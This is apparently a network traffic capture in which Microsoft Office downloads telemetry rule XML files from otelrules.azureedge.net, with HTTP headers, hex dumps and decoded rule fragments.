2024-12-08 14:38:47 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:47 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:47 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: d1595916-d01e-00a1-2a26-4935b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143847Z-r1cf579d77867vg8hC1EWR8knc00000005k0000000000vua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:48 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:47 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:48 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:47 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 02e14224-e01e-0003-6626-490fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143847Z-r1cf579d7789jf56hC1EWRu58800000000sg000000003tz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-08 14:38:48 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:47 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:47 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: e8b3d2c0-701e-0050-0b05-486767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143847Z-r1cf579d778dc6d7hC1EWR2vs8000000065g00000000895m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:48 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:47 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:47 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: f6e8c48a-401e-000a-8008-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143847Z-r1cf579d778t6txphC1EWRsd44000000061g0000000070a2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:48 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:49 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:50 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1dbd65e4-a01e-0002-7203-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143850Z-r1cf579d778dfdgnhC1EWRd3w000000005g0000000001csr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:50 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:49 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:50 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 18148ef3-001e-002b-2504-4899f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143850Z-r1cf579d778xq4f9hC1EWRx41g00000005dg000000005kwu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:50 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:49 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:50 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 555e9168-001e-0017-4603-480c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143850Z-r1cf579d778bb9vvhC1EWRs9540000000530000000008pbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:50 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:49 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:50 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: b8e80a8d-201e-000c-1e03-4879c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143850Z-r1cf579d778bb9vvhC1EWRs954000000059g00000000134n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:50 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:49 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:50 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fdf3550d-a01e-0070-7703-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143850Z-r1cf579d7786c2tshC1EWRr1gc00000005c000000000019m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:52 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:52 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0b61f7bb-f01e-0052-4103-489224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143852Z-r1cf579d778kr8xrhC1EWRfkun0000000600000000006v3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:52 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:52 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:52 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: b9410fe1-901e-0015-5b03-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143852Z-r1cf579d778bb9vvhC1EWRs954000000055g0000000056dw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:52 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:52 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:52 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 7e532cc8-301e-000c-2603-48323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143852Z-r1cf579d778lntp7hC1EWR9gg4000000051g000000005pmc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
